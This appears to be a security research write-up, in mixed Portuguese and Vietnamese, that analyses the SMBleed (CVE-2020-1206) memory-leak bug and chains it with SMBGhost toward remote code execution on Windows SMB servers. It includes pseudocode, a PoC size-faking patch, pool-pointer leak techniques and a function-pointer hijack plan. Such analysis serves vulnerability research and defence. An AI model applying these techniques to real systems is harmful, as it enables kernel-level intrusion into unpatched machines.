
Na vulnerabilidade SMBGhost (CVE-2020-0796) falei sobre uma técnica de write-what-where primitive por meio do uso de um bug de overflow de inteiro para alterar o ponteiro Alloc.Userbuffer para apontar para um endereço que desejamos e gravar dados arbitrários nele. Semelhante ao SMB Ghost, essa vulnerabilidade também existe na função Srv2DecompressData em srv2.sys. Vamos revisar a função Srv2DecompressData relacionada à vulnerabilidade SMBGhost (CVE-2020-0796), que foi simplificada por Zecops``` c typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
A função Srv2DecompressData recebe uma mensagem comprimida enviada pelo cliente e aloca uma região de memória necessária, descomprimindo a mensagem nela. Em seguida, se o campo Offset for diferente de zero, ela copia os dados (RawData) que estão antes dos dados comprimidos para o início da região de memória alocada.

O bug SMBGhost está no fato de a função não verificar integer overflow, levando a uma alocação de tamanho incorreto que causa buffer overflow. Três meses após a Microsoft corrigir o SMBGhost, a vulnerabilidade CVE-2020-1206 (SMBleed - como é chamada pelo [Zecops Blog](https://blog.zecops.com/)) foi encontrada. Essa vulnerabilidade nos permite vazar o endereço de outra máquina e, se combinada com o SMBGhost, podemos obter RCE. Para termos uma visão mais simples da função Srv2DecompressData, usaremos essa função sem a correção do SMBGhost e assumiremos que ela já foi corrigida.
# Falsificando OriginalCompressedSegmentSize
Como no SMBGhost, desta vez continuaremos falsificando o OriginalCompressedSegmentSize com um valor um pouco maior do que os dados descomprimidos que enviamos. Por exemplo, se comprimirmos um dado com tamanho x bytes, em vez de colocar x no campo OriginalCompressedSegmentSize, colocaremos x + 0x1000; veja a imagem a seguir para ficar mais claro:

Dados não inicializados do kernel serão considerados como parte da mensagem.
Como eu disse na análise do [CVE-2020-0796](https://github.com/datntsec/CVE-2020-0796), o Srv2DecompressData ainda ignora a etapa de verificação após a função SmbCompressionDecompress se a descompressão for bem-sucedida:``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
Embora o campo OriginalCompressedSegmentSize seja definido como x + 0x1000 em vez de x, após a descompressão bem-sucedida, a variável FinalCompressedSize não contém o valor x, mas sim o valor x + 0x1000:```c NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
Porque após a descompressão bem-sucedida, `FinalCompressedSize` é atualizado para manter o valor `CompressedBufferSize` (correspondente ao `OriginalCompressedSegmentSize` passado para a função `SmbCompressionDecompress`). A atualização e a verificação subsequente são quase desnecessárias, podendo levar a alguns erros inesperados.
# Exploração básica
A estrutura de mensagem que a Zecops usa para demonstrar a falha é a [mensagem SMB2 WRITE](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8). Essa estrutura contém campos como o número de bytes graváveis, flags, ..., seguidos por um buffer de comprimento arbitrário. Isso é bastante perfeito para explorar a falha, pois podemos criar uma mensagem e especificar o cabeçalho, com um buffer contendo dados não inicializados.
Baseado no POC da [Zecops](https://blog.zecops.com/) no repositório WindowsProtocolTestSuites da Microsoft, para ter uma visão mais clara disso, adicionaremos este pequeno complemento à função de compressão:``` c
// HACK: fake size
if (((Smb2SinglePacket)packet).Header.Command == Smb2Command.WRITE)
{
((Smb2WriteRequestPacket)packet).PayLoad.Length += 0x1000;
compressedPacket.Header.OriginalCompressedSegmentSize += 0x1000;
}
Lưu ý rằng POC này yêu cầu thông tin xác thực và chia sẻ quyền write, thường có sẵn trong nhiều trường hợp. Tuy nhiên, lỗi trả về sẽ áp dụng cho mọi message (bao gồm cả message có hoặc không có thông tin xác thực), nên có khả năng ta sẽ có thể khai thác mà không cần phải xác thực. Một điều nữa, là bộ nhớ mà chúng ta sẽ leak là từ các lần phân bổ trước trong NonPagedPoolNx và vì chúng ta có thể kiểm soát kích thước phân bổ, chúng ta sẽ kiểm soát được dữ liệu mà chúng ta sẽ leak ở một mức độ nào đó.
Vậy nếu không có thông tin xác thực thì có thể leak được địa chỉ kernel không? Để trả lời cho câu hỏi này, ta hãy phân tích SMB sâu hơn nữa.
Khi xác thực thông tin, client sẽ gửi các message sau:
SMB2 NEGOTIATE → SMB2 SESSION_SETUP → SMB2 SESSION_SETUP
Nếu thông tin xác thực sai, phiên kết nối sẽ bị hủy sau gói tin SMB2 SESSION_SETUP thứ 2:

Giả sử rằng ta không có thông tin xác thực, chúng ta sẽ kiểm tra xem liệu có một lệnh nào có thể gửi mà không cần phải xác thực hay không. Qua việc tìm kiếm, ta nhận thấy:
SMB2 NEGOTIATE và nó cũng là lệnh SMB2 NEGOTIATE duy nhất trong suốt một phiên.SMB2 SESSION_SETUP.Trong đó SMB2 NEGOTIATE message sẽ không được nén. Bug nằm ở hàm giải nén, vì vậy ta sẽ không xem xét nó mà chỉ xét các SMB2 SESSION_SETUP message.
Như đã nói ở trên, một phiên thông thường sẽ có 2 lệnh SMB2 SESSION_SETUP được gửi. Các gói tin trả về sẽ không chứa dữ liệu nào cần thiết để ta có thể khai thác, và ta cũng không có cách nào làm ảnh hưởng đến gói tin trả về. Tuy nhiên gói trả về thứ hai sẽ có body trống với status 0xC000006D (STATUS_LOGON_FAILURE) trong packet header. Nhận thấy, gói SMB2 SESSION_SETUP đầu tiên sẽ chứa request NTLM Negotiate message và gói thứ 2 sẽ chứa NTLM Authenticate message. NTLM Negotiate message khá đơn giản, và có thể không có gì thú vị, nên ta sẽ đi sâu vào NTLM Authenticate message.
Sau khi nghiên cứu NTLM Authenticate message, ta nhận thấy, phần phức tạp nhất của message này, thích hợp để khai thác nhất là cấu trúc NTLM2 V2 Response. Cấu trúc này là một mảng byte có kích thước không cố định, chủ yếu chứa cấu trúc NTLMv2_CLIENT_CHALLENGE. Ta thấy rằng, nếu cấu trúc này không pass được các kiểm tra ban đầu, giá trị 0xC000000D (STATUS_INVALID_PARAMETER) sẽ được trả về thay vì 0xC000006D (STATUS_LOGON_FAILURE). Một trong số kiểm tra ban đầu là kiểm tra trường AvPairs.
Trường AvPairs là một mảng byte có kích thước không cố định chứa các cấu trúc AV_PAIR. Mỗi AV_PAIR định nghĩa một attribute/value pair, attribute được định nghĩa bởi trường AvId, trường AvLen định nghĩa độ dài theo byte của value, trường Value là một mảng byte có kích thước không cố định chứa value của chính nó. Một item với attribute MsvAvEOL và một zero length đánh dấu kết thúc mảng

Authenticate message được xử lý bởi hàm SsprHandleAuthenticateMessage trong module msv1_0.dll. Trong các lần kiểm tra ban đầu, hàm này bảo đảm rằng, mảng AvPairs sẽ chứa các attribute sau: 0x0001 (MsvAvNbComputerName), 0x0002 (MsvAvNbDomainName). Tuy nhiên value của nó không được kiểm tra, nó chỉ kiểm tra bằng cách duyệt qua mảng và kiểm tra xem attribute được yêu cầu có tồn tại hay không và độ dài của nó có nằm trong cấu trúc hay không. Nếu độ dài quá lớn, việc truyền tải sẽ bị dừng lại. Vì vậy, trên thực tế, MsvAvEOL không được kiểm tra có hợp lệ hay không.
Tại thời điểm này, ta đã tìm ra rằng ta có thể tạo ra một yêu cầu có thể giúp ta trả lời cho câu hỏi sau: Cho hai byte tại offset x, thuộc kiểu uint16, giá trị có lớn hơn y không? x và y được kiểm soát bởi ta. Hãy xem xét gói tin sau:

Nội dung của value 0x0001 (MsvAvNbComputerName) không quan trọng, vì vậy ta có thể sử dụng nó để điều chỉnh offset của value thứ hai. Đối với value thứ hai, ta chỉ set attribute là 0x0002 (MsvAvNbDomainName), mà không khởi tạo len và value. Đồng thời set kích thước của toàn bộ gói sao cho có y byte theo trường length. Có hai kết quả có thể xảy ra tùy thuộc vào giá trị chưa được khởi tạo của trường length của value thứ hai:
Theo phản hồi từ server, ta luôn có thể suy ra câu trả lời cho câu hỏi ở trên.
Tuy nhiên, NTLM Authenticate message được giới hạn ở 0xB48 byte và sẽ bị loại bỏ nếu nó lớn hơn thế. Việc kiểm tra được thực hiện bởi hàm SspContextGetMessage no módulo msv1_0.dll. Vậy giả sử ta chỉ ghi vào 1 byte len, byte còn lại sẽ chứa giá trị chưa được khởi tạo, thì có bypass được việc này không. Rất tiếc là không, vì giá trị uint16 được mã hóa dưới dạng little endian. Như vậy, ta Không thể đạt được điều mình muốn trong một phiên SMB duy nhất, ta sẽ đi xem xét thêm các yếu tố khác.
Như đã đề cập trong nghiên cứu trước (CVE-2020-0796), các modules xử lý SMB trong kernel (srv2.sys và srvnet.sys) sử dụng chức năng phân bổ tùy chỉnh - SrvNetAllocateBuffer - được export bởi srvnet.sys. Hàm này sử dụng lookaside lists cho các phân bổ nhỏ để tối ưu hóa. Lookaside lists được sử dụng để lưu trữ một cách hiệu quả một tập hợp các bộ đệm có kích thước cố định, có thể tái sử dụng cho trình điều khiển.
Lookaside lists được tạo khi khởi tạo, danh sách cho từng kích thước và bộ xử lý logic được mô tả trong bảng sau:
Mỗi ô có ký hiệu "📝" là một lookaside list riêng biệt. Để đơn giản hóa phân tích, ta sẽ giả sử rằng mục tiêu của chúng ta chỉ có một Logical Processor. Trong trường hợp này, miễn là cùng một lượng byte được cấp phát, cùng một lookaside list được sử dụng thì cũng sẽ cùng một buffer được sử dụng lại nhiều lần. Ta có thể sử dụng điều này để có một số quyền kiểm soát đối với dữ liệu chưa được khởi tạo.
Hãy xem lại điều gì sẽ xảy ra khi một compressed packet được decompress (tham khảo writeup CVE-2020-0796 để biết thêm chi tiết và mã giả):

Trong trường hợp CompressedData không hợp lệ, giai đoạn decompression sẽ không thành công, giai đoạn copy không được thực thi và kết nối bị ngắt. Nhưng decompression có thể không thành công chỉ sau khi giải nén một phần của CompressedData hợp lệ. Điều này cho phép ta tạo ra một yêu cầu sao cho dữ liệu mà ta lựa chọn sẽ được ghi ở offset mà ta lựa chọn, như hình sau:

Ta có thể sử dụng các Observation trên để làm cho kỹ thuật của ta hoạt động bằng cách sử dụng hai bước:

Lần này, kỹ thuật này có thể trả lời câu hỏi sau: Cho một byte ở offset x, giá trị có lớn hơn y không? Như trước đây, x và y được kiểm soát bởi ta.
Vì ta có thể sử dụng lại bộ đệm nhiều lần bằng cách đảm bảo sử dụng cùng một lookaside list, chúng ta có thể lặp lại các bước nhiều lần trong khi thay đổi y và cuối cùng suy ra giá trị byte tại một khoảng chênh lệch nhất định.
Tuy nhiên, kỹ thuật này có một hạn chế - offset của byte mà chúng ta có thể đọc được giới hạn ở byte 0xADB từ đầu của packet buffer. Đó là do offset của NTLM Authenticate message (AUTHENTICATE_MESSAGE) được giới hạn ở 0x40 byte sau khi kết thúc SMB2 SESSION_SETUP headers (được thực thi bởi hàm Smb2ValidateSessionSetup trong srv2.sys) và kích thước của NTLM Authenticate message (AUTHENTICATE_MESSAGE) bị giới hạn thành 0xB48 byte. Ta sẽ tìm cách giải quyết việc này.
Giả sử rằng ta muốn đọc một byte ở offset 0x1100. Ta không thể làm điều đó trực tiếp bằng kỹ thuật trên, tuy nhiên ta vẫn có thể sử dụng thêm kĩ thuật sau: vì các buffer được tái sử dụng từ lookaside lists, ta có thể "nâng" byte đích thông qua hàm decompression bằng cách đặt trường Offset để vượt qua byte đó. Ta chỉ cần đảm bảo rằng dữ liệu nằm ở đó có thể được hiểu là dữ liệu nén hợp lệ, nếu không việc Copy sẽ không xảy ra.

Buffer của gói tin chứa dữ liệu được gửi đến bởi client sẽ chứa thêm 16 byte headers không được copy khi quá trình giải nén diễn ra. Kết quả là, dữ liệu được copy và giải nén, bao gồm cả target byte, được sao chép đến một vị trí gần 16 byte hơn phần đầu của buffer được cấp phát. Chúng ta có thể lặp lại điều đó vài lần, cho đến khi offset của target byte đủ thấp.
Bạn có thể tìm thấy một script chứng minh kỹ thuật trên tại đây. Hãy nhớ rằng ta đã giả định rằng máy tính server chỉ có một bộ xử lý logic, vì vậy bạn sẽ phải định cấu hình máy ảo của mình đúng cách để đoạn script hoạt động. Nếu mọi việc suôn sẻ, đoạn script sẽ đọc và leak được địa chỉ của NonPagedPoolNx pool. Trên thực tế, đó sẽ là địa chỉ của một trong những buffer nằm cùng một lookaside lists.
Vì kĩ thuật này có khá nhiều hạn chế, nên tôi sẽ không phân tích sâu hơn nữa. Tuy nhiên bạn vẫn có thể đọc script trên và tự phân tích.
Trong quá trình nghiên cứu, Zecops nhận ra rằng gói SMB được giải nén không phải là cấu trúc phức tạp duy nhất có thể không hợp lệ theo nhiều cách khác nhau. Ngay cả trước khi xử lý tất cả các cấu trúc liên quan đến SMB, compressed buffer cũng có thể không hợp lệ. Nếu giải nén không thành công, kết nối đến server sẽ bị ngắt.
Microsoft cung cấp ba thuật toán nén để ta lựa chọn khi triển khai SMB: LZNT1, Plain LZ77 và LZ77 + Huffman. Ta sẽ chỉ xem xét LZNT1 vì nó khá đơn giản - khoảng 80 dòng Python cho một hàm giải nén. Tôi sẽ nói sơ về quá trình giải nén: dữ liệu nén bao gồm một chuỗi các block được nén, mỗi block được bắt đầu bằng một biến uint16 đánh dấu độ dài của block đó. Khi gặp độ dài bằng 0, quá trình giải nén sẽ hoàn tất. Ta sẽ sử dụng điều này để ghi vào một chuỗi byte 0 tượng trưng cho dữ liệu nén hợp lệ. Mục đích để trả lời cho câu hỏi ở trên: Cho một byte ở offset x, giá trị có lớn hơn y không? Tất nhiên, x và y vẫn sẽ do ta kiểm soát.
Dưới đây là một ví dụ về dữ liệu nén mà ta sẽ gửi:

Có hai kết quả có thể xảy ra tùy thuộc vào giá trị chưa khởi tạo của byte thứ nhất của trường length:
Cũng giống như kỹ thuật trước, chúng ta có thể sử dụng các Observation số 1 và số 2 để tạo ra một message với một byte chưa được khởi tạo ở giữa message bằng cách sử dụng hai bước:
Lưu ý rằng giá trị Offset trong header gói SMB sẽ trỏ đến dữ liệu nén, dữ liệu này có thể hợp lệ hay không tùy thuộc vào giá trị của byte chưa được khởi tạo.

Ưu điểm đáng chú ý nhất của kỹ thuật này so với kỹ thuật trước là không có giới hạn offset nữa.
Như vậy, tổng kết lại, ta có 2 kỹ thuật để đọc một vùng nhớ chưa được khởi tạo từ pool buffer được cấp phát bởi hàm SrvNetAllocateBuffer của module srvnet.sys. Kỹ thuật đầu tiên tạo ra một gói SMB đặc biệt, sau đó suy luận thông tin thông qua response của server. Kỹ thuật thứ hai với ít hạn chế hơn, ta sẽ tạo ra một dữ liệu được nén đặc biệt và gửi nó đi, sau đó suy luận thông tin dựa trên việc server có ngắt kết nối hay không.
Như vậy, ta có thể sử dụng một trong 2 kĩ thuật trên để khai thác. Và như tôi đã nói, kĩ thuật đầu tiên có nhiều hạn chế, nên ta sẽ chỉ đi sâu vào kĩ thuật thứ 2.
Kĩ thuật này sẽ giúp ta khai thác theo hướng write-what-where primitive mà Zecops đã chứng minh trước đây trong nghiên cứu trước về khả năng đạt được local privilege escalation. Ta sẽ dùng kĩ thuật này để leak địa chỉ trong memory layout để có thể sử dụng write-what-where primitive. Không may mắn là memory được cấp phát bởi hàm SrvNetAllocateBuffer chủ yếu được sử dụng cho dữ liệu mạng như gói SMB và không chứa bất kỳ con trỏ system nào. Và vì ta cần đạt được RCE, nên việc leak các vùng nhớ chưa được khởi tạo bởi các lần cấp phát trước của hàm SrvNetAllocateBuffer là vô ích do không chắc chắn được vị trí con trỏ cần tìm. Ta cần tìm một thứ gì đó có thể hữu ích hơn.
Như tôi có nói trong nghiên cứu về local privilege escalation (CVE-2020-0796), hàm SrvNetAllocateBuffer không chỉ trả về một buffer với kích thước được yêu cầu. Thay vào đó nó sẽ trả về một con trỏ trỏ đến vùng nằm ngay bên dưới user buffer của cấu trúc pool-allocated memory block, chứa thông tin về buffer được cấp phát. Cách bố trí của pool-allocated memory block như sau:

Mặc dù kỹ thuật đọc của ta chỉ có thể đọc các byte từ vùng "User Buffer", ta vẫn có thể dùng một kĩ thuật khác để copy các phần của cấu trúc SRVNET_BUFFER_HDR vào "User Buffer" của một buffer khác để có thể đọc nó. Bằng cách đặt trường Offset trỏ đến cấu trúc SRVNET_BUFFER_HDR nằm ngoài dữ liệu mà ta muốn đọc. Ta chỉ cần đảm bảo rằng dữ liệu nằm ở đó có thể được hiểu là dữ liệu nén hợp lệ, ngược lại, việc copy sẽ không được diễn ra.

Hãy xem xét các trường của cấu trúc SRVNET_BUFFER_HDR và xem liệu có nội dung nào đáng để ta đọc không:``` c #pragma pack(push, 1) struct SRVNET_BUFFER_HDR { /00/ LIST_ENTRY ConnectionBufferList; /10/ WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list /12/ WORD LookasideListIndex; // 0 to 8 /14/ WORD LookasideListLogicalProcessor; /16/ WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2 /18/ PBYTE UserBufferPtr; /20/ DWORD UserBufferSizeAllocated; /24/ DWORD UserBufferSizeUsed; /28/ DWORD PoolAllocationSize; /2C/ BYTE unknown1[4]; /30/ PBYTE PoolAllocationPtr; /38/ PMDL pMdl1; /40/ DWORD BytesProcessed; /44/ BYTE unknown2[4]; /48/ SIZE_T BytesReceived; /50/ PMDL pMdl2; /58/ PVOID pSrvNetWskStruct; /60/ DWORD SmbFlags; /64/ PVOID TracingPtr1; /6C/ SIZE_T TracingUnknown1; /74/ PVOID TracingPtr2; /7C/ SIZE_T TracingUnknown2; /84/ BYTE unknown3[12]; }; #pragma pack(pop)
Os ponteiros `UserBufferPtr`, `PoolAllocationPtr`, `pMdl1`, `pMdl2` são ponteiros que apontam para dentro do bloco de memória alocado do pool, com offsets que podem ser calculados antecipadamente, então só precisamos ler um deles. Ter um ponteiro apontando para o bloco de memória alocado do pool certamente nos ajudará na exploração. Além disso, os seguintes ponteiros também são muito importantes:
- **ConnectionBufferList**: Uma lista encadeada de todos os buffers recebidos mas ainda não processados de uma conexão. A cabeça dessa lista é um objeto de conexão criado pela função SrvNetAllocateConnection em srvnet.sys. Um buffer é adicionado à lista pela função SrvNetWskReceiveComplete. No nosso caso, haverá apenas um único buffer na lista, então ambos os ponteiros (Flink e Blink da estrutura LIST_ENTRY) apontarão para a cabeça da lista dentro do objeto de conexão.
- **pSrvNetWskStruct**: Inicialmente, um ponteiro aponta para o objeto de conexão mencionado acima. O ponteiro é definido pela função SrvNetWskReceiveEvent, mas é sobrescrito pela função SrvNetWskReceiveComplete com um ponteiro para a estrutura SRVNET_BUFFER_HDR. Portanto, lê-lo não é mais útil do que ler um dos quatro ponteiros já mencionados. Aliás, se você pesquisar "pSrvNetWskStruct", verá que ele tem um papel na exploração do EternalBlue.
- **TracingPtr1/2**: Esses ponteiros só são usados quando o recurso de rastreamento está habilitado.

Como você pode ver, o único outro ponteiro útil que podemos ler é um ponteiro na estrutura ConnectionBufferList. Ambos os ponteiros (Blink e Flink na estrutura LIST_ENTRY) apontam para o objeto de conexão. Esse objeto é nomeado SRVNET_RECV pelo pesquisador do EternalBlue, então também usaremos esse nome.
## Obtendo o endereço base de um módulo
Agora que sabemos como obter dois ponteiros — um ponteiro apontando para o bloco de memória alocado do pool e um ponteiro apontando para a estrutura SRVNET_RECV — podemos modificar livremente os dois buffers usando a primitiva write-what-where. Pode haver muitas maneiras de alcançar RCE, mas obter um endereço base de um módulo será a escolha mais simples, porque há muitas coisas neles que podemos modificar na seção de dados de um módulo. Como vimos, nenhum ponteiro no bloco de memória alocado por SrvNetAllocateBuffer aponta para um módulo. No entanto, ainda existem alguns ponteiros apontando para os módulos:

A técnica de leitura que temos só nos permite ler dados na região "User Buffer", enquanto esses ponteiros estão bem distantes e são apontados por vários outros ponteiros. Precisamos de um trecho de código que possa fazer o seguinte para copiar o valor do ponteiro para a região "User Buffer":``` c
ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value
Se pudéssemos encontrar um trecho de código assim, o ativaríamos para copiar o primeiro ponteiro (por exemplo, HandlerFunctions) para a área "User Buffer", lê-lo, depois copiar o segundo ponteiro (por exemplo, o ponteiro da função Srv2ConnectHandler) para "User Buffer" e lê-lo, deduzindo o endereço base do módulo a partir dele. A equipe Zecops procurou um trecho de código assim por um longo tempo, mas não encontrou nenhum trecho adequado. Por fim, eles usaram uma alternativa diferente relacionada à função SrvNetFreeBuffer (simplificada abaixo) que tinha funcionalidade quase desejada:``` c void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer) { PMDL pMdl1 = Buffer->pMdl1; PMDL pMdl2 = Buffer->pMdl2;
if (pMdl2->MdlFlags & 0x0020) {
// MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);
}
if (Buffer->BufferFlags & 0x02) {
if (Buffer->BufferFlags & 0x01) {
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
}
Buffer->BufferFlags = 0;
// ...
pMdl1->Next = NULL;
pMdl2->Next = NULL;
// Return the buffer to the lookaside list.
} else {
SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}
}
Ao liberar o buffer, se os buffer flags estiverem definidos como 0x02 (o que significa que o buffer faz parte de uma lookaside list) e 0x01 (o que significa que o buffer não possui transport header), algumas operações são executadas em dois objetos MDL para adicionar o transport header antes de redefinir os flags para 0 e devolver o buffer à lookaside list. Se olharmos com atenção por trás das operações nos objetos MDL, podemos notar que o código realiza um double-dereference-read seguido de double-dereference-write com duas variáveis que controlamos (dois ponteiros MDL), que é o que procuramos. A desvantagem é que o conteúdo que queremos ler também é modificado, um efeito colateral que esperamos evitar.
Com base no exposto, é assim que conseguimos ler o ponteiro AcceptSocket:
1. Prepare o buffer A a partir de uma lookaside list de modo que a área “User buffer” seja preenchida com zeros. A área user buffer desse buffer conterá o ponteiro que iremos ler.
2. Prepare o buffer B a partir de outra lookaside list para:
- O ponteiro pMdl1 aponta para o endereço do ponteiro AcceptSocket menos 0x18 (pois o offset de MappedSystemVa é 0x18 na estrutura MDL).
- O ponteiro pMdl2 aponta para a área “User buffer” do Buffer A.
- O campo Flags é definido como 0x03.
Podemos sobrescrever os campos da estrutura SRVNET_BUFFER_HDR descompactando-os de um buffer maior por meio da técnica descrita na seção [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) acima.
3. Quando o Buffer B for liberado, as seguintes operações ocorrerão:
- Os MDL flags serão lidos do segundo MDL no buffer A. Se o flag MDL_PARTIAL_HAS_BEEN_MAPPED estiver definido, MmUnmapLockedPages será chamado e o sistema poderá sofrer um crash. É por isso que precisamos preencher o buffer com zeros no passo 1.
- O ponteiro AcceptSocket e a memória ao redor dele serão modificados conforme descrito aqui:```
+00 | 00 00 00 00 00 00 00 00
+08 | __ __ __|10 __ __ __ __
+10 | __ __ __ __ __ __ __ __
+18 | [+50..................] <-- AcceptSocket
+20 | __ __ __ __ __ __ __ __
+28 | [-50......] [+50......]
- Vùng “User buffer” của buffer A sẽ được sửa đổi như được mô tả ở đây: (Các byte màu cam chứa con trỏ mà chúng ta muốn đọc, chúng ta chỉ cần sắp xếp chúng đúng cách)```
+00 | 00 00 00 00 00 00 00 00
+08 | ?? ?? 04 00 __ __ __ __
+10 | __ __ __ __ __ __ __ __
+18 | __ __ __ __ __ __ __ __
+20 | 00 c0 ef gh ij kl mn op
+28 | qr st uv wx ab 0d 00 00

A boa notícia é que lemos o ponteiro. A má notícia é que corrompemos alguns dados na estrutura SRVNET_RECV. Felizmente para nós, o erro não afeta o sistema, desde que nada aconteça com a conexão relacionada. Quando algo acontece, por exemplo, o fechamento da conexão, o sistema irá crashar. Isso não é um problema, pois em breve teremos RCE e poderemos corrigir o erro se quisermos.
Depois de ler o ponteiro AcceptSocket, continuamos usando a mesma técnica para ler o ponteiro srvnet!SrvNetWskConnDispatch. A razão pela qual lemos o ponteiro AcceptSocket e não o ponteiro HandlerFunctions é que o array de HandlerFunctions é compartilhado entre todas as conexões, enquanto o buffer apontado por AcceptSocket não é compartilhado com outras conexões. Portanto, se corrompermos partes do AcceptSocket, isso afetará apenas a estabilidade de uma conexão.
Se tivermos uma cópia do arquivo srvnet.sys usado na máquina alvo, podemos facilmente deduzir o endereço base do módulo srvnet.sys subtraindo o offset do ponteiro SrvNetWskConnDispatch que vazamos.
Supondo que tenhamos o endereço base do módulo srvnet.sys, podemos chamar qualquer função do módulo. Mas e os argumentos da função? A função srv2!Srv2ReceiveHandler é chamada por SrvNetCommonReceiveHandler e a chamada tem a seguinte forma:``` c HandlerFunctions = *(pSrvNetRecv + 0x118); Arg1 = *(ULONG_PTR)(pSrvNetRecv + 0x128); Arg2 = *(ULONG_PTR)(pSrvNetRecv + 0x130); (HandlerFunctions[1])(Arg1, Arg2, Arg3, Arg4, Arg5, Arg6, Arg7, Arg8);
Os dois primeiros argumentos são lidos da estrutura SRVNET_RECV, portanto podemos controlá-los, porém não podemos controlar os argumentos restantes. A convenção de chamada x86-64 especifica que o chamador é responsável por alocar e liberar o espaço de pilha para os argumentos, então, embora uma função de 8 argumentos seja pretendida, podemos substituir o ponteiro por qualquer outra função que espere um número diferente.

Abaixo estão as etapas que usaremos para acionar a chamada de função:
1. Enviar uma mensagem especialmente criada para que o ponteiro da estrutura SRVNET_RECV da conexão seja copiado para um buffer que possamos ler.
2. Enviar outra mensagem válida, que reutilizará a mesma estrutura SRVNET_RECV, mas sem fechar a conexão. Observe que, quando a conexão é fechada, a estrutura SRVNET_RECV não é liberada. A função SrvNetPrepareConnectionForReuse é chamada para redefinir a estrutura para que possa ser reutilizada na próxima conexão.
3. Ler o ponteiro da estrutura SRVNET_RECV que copiamos na etapa 1.
4. Substituir o ponteiro HandlerFunctions e os argumentos usando a técnica de primitiva write-what-where.
5. Enviar uma mensagem adicional pela conexão da etapa 2 para que a função substituta para srv2!Srv2ReceiveHandler seja chamada.
Agora tudo o que precisamos fazer é encontrar uma função para copiar memória de um local para outro, para que possamos copiar memória arbitrária para um buffer do pool do qual possamos ler. memcpy é uma opção e srvnet.sys possui uma função assim (mais precisamente, memmove), mas essa função exige um terceiro argumento, usado para determinar o número de bytes a serem copiados, que não controlamos. No entanto, não estamos limitados às funções implementadas em srvnet.sys; também podemos chamar funções da tabela de importação do srvnet, e a função RtlCopyUnicodeString é uma escolha perfeita para fazer o que queremos.
A função RtlCopyUnicodeString recebe dois ponteiros UNICODE_STRING como argumentos e copia o conteúdo da string de origem para a string de destino. Diferentemente das strings C terminadas em NULL, as strings no kernel são definidas pela estrutura UNICODE_STRING, que contém um ponteiro para a string e o comprimento da string em bytes. O buffer da string pode conter qualquer dado binário. Se você observar o código da função RtlCopyUnicodeString, verá que a cópia é feita com a função memmove, ou seja, cópia pura de dados binários. Tudo o que precisamos fazer é preparar duas estruturas UNICODE_STRING e chamar RtlCopyUnicodeString e, em seguida, ler os dados copiados:

## Executando shellcode
Depois de obter uma primitiva conveniente de leitura arbitrária, passamos ao próximo desafio rumo ao objetivo de Remote Code Execution por meio da execução de um shellcode. Usaremos a técnica apresentada por Morten Schenk em sua palestra sobre [Black Hat USA 2017](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf) (páginas 47-51).
